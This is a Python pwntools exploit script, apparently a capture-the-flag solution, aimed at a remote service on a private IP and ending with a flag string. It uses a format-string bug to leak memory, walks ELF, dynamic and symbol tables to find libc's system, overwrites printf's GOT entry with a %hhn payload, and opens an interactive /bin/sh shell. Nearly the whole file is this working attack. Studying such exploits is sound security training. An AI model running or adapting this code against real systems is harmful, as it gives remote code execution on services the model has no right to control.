#!/usr/bin/env python 

from pwn import *
import time 

# http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html
#
#          +1c          p_type= 2              tag=3
# \x7fELF ----->  phdr ---------->  .dynamic ---------> GotTable
#
#

r = remote('192.168.31.25', 12019)
bits = 32
DataList = {}
PIE=''

def findLibcBase(ptr):
   ptr &= 0xfffffffffffff000
   while leak(ptr) != "\x7fELF":
   #while  "454c46" not in leak(ptr):
      ptr -= 0x1000
   return ptr

def findModuleBase(ptr):
    ptr &= 0xfffffffffffff000
    while leak(ptr) != '\x7fELF':
        ptr -= 0x1000
    return ptr

def findBit(moduleBase):
    data = leak(moduleBase + 0x4 )[0]
    return ord(data)

def findPIE(moduleBase):
    data =  leak(moduleBase + 0x10)
    return moduleBase if data == '\x03' else 0

def findPhdr(addr):
   if bits == 32:
      e_phoff = u32(leak(addr + 0x1c  ).ljust(4, '\0'))
   #else:
   #   e_phoff = u64(leak(addr + 0x20, wordSz).ljust(8, '\0'))
   return e_phoff + addr

def findDynamic(Elf32_Phdr,moduleBase, bits):
   if bits == 32:
      i = -32
      p_type = 0
      count = 0
      while p_type != 2:
         i += 32
         #print 'i ',i
         p_type = u32(leak(Elf32_Phdr + i ).ljust(4, '\0'))
      return u32(leak(Elf32_Phdr + i + 8).ljust(4, '\0')) +PIE
   else:
      i = -56
      p_type = 0
      while p_type != 2:
         i += 56
         p_type = u64(leak(Elf32_Phdr + i, hwordSz).ljust(8, '\0'))
      return u64(leak(Elf32_Phdr + i + 16, wordSz).ljust(8, '\0'))   # + PIE

def findDynTable(Elf32_Dyn, table, bitSz):
   p_val = 0
   if bitSz == 32:
      i = -8
      while p_val != table:
         i += 8
         p_val = u32(leak(Elf32_Dyn + i).ljust(4, '\0'))
         p_sal = u32(leak(Elf32_Dyn + i + 4).ljust(4, '\0'))
         if p_sal == 0:
             p_sal = u32(leak(Elf32_Dyn + i + 5)[:-1].rjust(4,'\0'))
      return p_sal
   else:
      i = -16
      while p_val!= table:
         i += 16
         p_val = u64(leak(Elf32_Dyn + i, wordSz).ljust(8, '\0'))
      return u64(leak(Elf32_Dyn + i + 8, wordSz).ljust(8, '\0'))

def getPtr(addr, bitSz):
   i = 3
   ptrlist = []
   while True:
      if bitSz == 32:
         gotPtr = u32(leak(addr + i*4 ).ljust(4, '\0'))
         ad = addr+i*4
      else:
         gotPtr = u64(leak(addr + i*8, wordSz).ljust(8, '\0'))
         ad = addr+i*4
      ptrlist.append([ad,gotPtr])
      i += 1
      if len(ptrlist) > 5:
          return ptrlist

def findSymbol(strtab, symtab, symbol, bitSz,count=False):
   c = 0
   left = len(symbol)
   res = {}
   if bitSz == 32:
      i = -16
      ll = []
      a = ''
      while True:
         c += 1 
        # if c % 100 ==0 :
        #   print c,'---'
        #   print ll
        #   ll = []
         i += 16
         st_name = u32(leak(symtab + i)[:2].ljust(4, '\0'))
         a = leak( strtab + st_name , size=6).lower()
         ll.append(a)
         if a  in symbol:
            if count :
                   res[a] = c
            else:
                   res[a] = u32(leak(symtab + i + 4).ljust(4, '\0'))
            left -=1
            if left <= 0:
                #if len(ll) > 0:
                #    print ll
                return res
   else:
      i = -24
      while True:
         i += 24
         st_name = u64(leak(symtab + i, 4).ljust(8, '\0'))
         if leak( strtab + st_name, len(symbol)+1).lower() == (symbol.lower()):
            return u64(leak(symtab + i + 8, 8).ljust(8, '\0'))


def leak(adr,p=False,size=4):
    data =''
    r.sendline('%32$sABabaaaaaaaaaaa'+p32( adr )+'dddefff')
    data =  r.recvuntil('ABab')
    if p:
        print 'recvlen = ',len(data)
    r.recvrepeat(0.2)
    data = data.split('ABab')[0]
    r.sendline('%32$p')
    now = r.recvline().strip()
    r.recvline()
    if p:
        print 'now = ',now,'data = ',data
        print type(data)
        print data[:4].encode('hex')
        print ''
    if size > 4 :
        return data
    else:
        return data[:4] if len(data) >=4 else data


r.sendline('%54$p')
res = r.recvline().strip()
r.recvline()
first = res.split(' ')[0]
first = int(first,16)

#print hex(first)
moduleBase = findModuleBase(first)
DataList["moduleBase"] = hex(moduleBase)

bits = findBit(moduleBase)
if bits == 1:
    DataList["bit"] = "32"
    bits = 32
elif bits == 2:
    DataList["bit"] = "64"
    bits = 64

PIE = findPIE(moduleBase)
if PIE:
    DataList["PIE"]="Binary is PIE enabled."
else:
    DataList["PIE"]="Binary is not PIE enabled."



modulePhdr = findPhdr(moduleBase)
DataList["modulePhdr"] = hex(modulePhdr)

SectionDynamic = findDynamic(modulePhdr,moduleBase, bits)
DataList["SectionDynamic"] = hex(SectionDynamic)
#print hex(SectionDynamic)

GotTable = findDynTable(SectionDynamic,3,bits)
DataList["GotTable"] = hex(GotTable)

# get a address point to libc but we can get that directly so this is not need in this case
libcPtr = getPtr(GotTable, bits)

#or i in libcPtr:
#print hex(i),'-'
#DataList["libcPtr"] = hex(libcPtr)



libcStrtab = findDynTable(SectionDynamic, 5, bits)
DataList["libcStrtab"] = hex(libcStrtab)

libcSymtab = findDynTable(SectionDynamic, 6, bits)
DataList["libcSymtab"] = hex(libcSymtab)


symbolneed = ["printf"]
symbolAddr = findSymbol(libcStrtab, libcSymtab, symbolneed, bits,count = True )
DataList["moprintf"] = hex(libcPtr[symbolAddr["printf"]-1][1])



# %71$p is a address point to libc
r.sendline('%90$p')
res = r.recvline().strip()
r.recvline()
first = res.split(' ')[0]
first = int(first,16)
#print hex(first)


libcBase = findLibcBase(first)
DataList["libcBase"] = hex(libcBase)

libcPIE = findPIE(libcBase)
PIE = libcPIE

libcPhdr = findPhdr(libcBase)
DataList["libcPhdr"] = hex(libcPhdr)

libcDynamic = findDynamic(libcPhdr, libcBase, bits)
DataList["libcDynamic"] = hex(libcDynamic)

libcStrtab = findDynTable(libcDynamic, 5, bits)
DataList["libcStrtab"] = hex(libcStrtab)

libcSymtab = findDynTable(libcDynamic, 6, bits)
DataList["libcSymtab"] = hex(libcSymtab)

symbolneed = ["system","printf"]

symbolAddr = findSymbol(libcStrtab, libcSymtab, symbolneed, bits)
DataList["libcsystem"] = hex(symbolAddr["system"])
DataList["libcprintf"] = hex(symbolAddr["printf"])



print libcPtr
for i in libcPtr:
    try:
        print hex(i[0]),'->',hex(i[1])
    except:
        continue
print "moduleBase".ljust(20),'->',DataList["moduleBase"]
print "bit".ljust(20),'->',DataList["bit"]
print "PIE".ljust(20),'->',DataList["PIE"]
print "modulePhdr".ljust(20),'->',DataList["modulePhdr"]
print "SectionDynamic".ljust(20),'->',DataList["SectionDynamic"]
print "GotTable".ljust(20),'->',DataList["GotTable"]
#print "libcPtr".ljust(20),'->',DataList["libcPtr"]




print "libcBase".ljust(20),'->',DataList["libcBase"]
print "libcPhdr".ljust(20),'->',DataList["libcPhdr"]
print "libcDynamic".ljust(20),'->',DataList["libcDynamic"]
print "libcStrtab".ljust(20),'->',DataList["libcStrtab"]
print "libcSymtab".ljust(20),'->',DataList["libcDynamic"]
print "libcsystem_off".ljust(20),'->',DataList["libcsystem"]
print "libcprintf_off".ljust(20),'->',DataList["libcprintf"]
libcprintf =int(DataList["libcBase"],16) + int(DataList["libcprintf"],16)
system     =int(DataList["libcBase"],16) + int(DataList["libcsystem"],16)
print "libcprintf".ljust(20),'->',hex(libcprintf)

for i in libcPtr:
    if i[1]  == libcprintf:
         DataList["print_got"] = i[0]
         print 'module_print_got'.ljust(20),'->',hex(i[0])

b1 = system & 0xff
b2 = (system & 0xff00) >> 8
b3 = (system & 0xff0000) >> 16

payload = p32( DataList["print_got"] )+p32(DataList["print_got"]+1)+p32(DataList["print_got"]+2)
payload += '%' + str( b1 - 12) + 'c%27$hhn'
payload += '%' + str((b2 - b1 + 256) % 256) + 'c%28$hhn'
payload += '%' + str((b3 - b2 + 256) % 256) + 'c%29$hhn'

r.sendline(payload)
r.recvline()
r.recvline()

r.sendline('/bin/sh')
r.interactive()


#AD{y0U_4R3_7h3_k1n9_0f_1Nf0RM4710N_l34k493}


